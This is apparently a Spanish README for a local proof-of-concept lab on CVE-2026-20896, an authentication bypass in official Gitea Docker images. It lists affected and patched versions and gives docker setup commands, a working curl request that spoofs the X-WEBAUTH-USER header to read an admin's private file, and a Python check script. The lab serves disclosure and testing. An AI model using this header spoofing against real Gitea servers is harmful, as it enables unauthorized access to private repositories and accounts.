
Laboratorio de prueba de concepto y scripts de Python/cURL que demuestran CVE-2026-20896, un bypass de autenticación en imágenes oficiales de Gitea Docker a través del encabezado X-WEBAUTH-USER.
[!WARNING] Utiliza este PoC únicamente en un laboratorio local o contra un sistema para el que tengas autorización explícita de prueba.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 es una omisión de autenticación en las imágenes Docker oficiales de Gitea afectadas. Cuando la autenticación mediante proxy inverso está habilitada, la configuración REVERSE_PROXY_TRUSTED_PROXIES = * generada por la imagen permite que un cliente capaz de alcanzar el backend de Gitea suplante a un usuario existente a través de la cabecera X-WEBAUTH-USER.
El laboratorio crea un administrador llamado gitea-admin con una contraseña aleatoria y almacena CVE-2026-20896_AUTH_BYPASS_CONFIRMED en el repositorio privado gitea-admin/private-proof. Leer ese archivo sin conocer la contraseña aleatoria del administrador demuestra la omisión.
| Categoría | Versión |
|---|---|
| Vulnerable | Imágenes Docker oficiales gitea/gitea ≤ 1.26.2 |
| Primera parcheada | 1.26.3 |
| Recomendada | 1.26.4 o posterior |
La configuración vulnerable requiere que la autenticación mediante proxy inverso esté habilitada y que el backend de Gitea sea directamente accesible, o que un proxy ascendente conserve la cabecera de identidad proporcionada por el atacante. No se requiere un contenedor de proxy inverso para esta reproducción local.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Espera unos segundos a que Gitea y el repositorio privado de prueba se inicialicen.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
La explotación exitosa devuelve CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
El script compara solicitudes no autenticadas, no administradoras y de administrador falsificadas e imprime VULNERABLE cuando se confirma la omisión de autorización. Requiere Python 3.10 o posterior y utiliza únicamente la biblioteca estándar.
REVERSE_PROXY_TRUSTED_PROXIES a direcciones de proxy de confianza.docker stop cve-2026-20896-gitea-vuln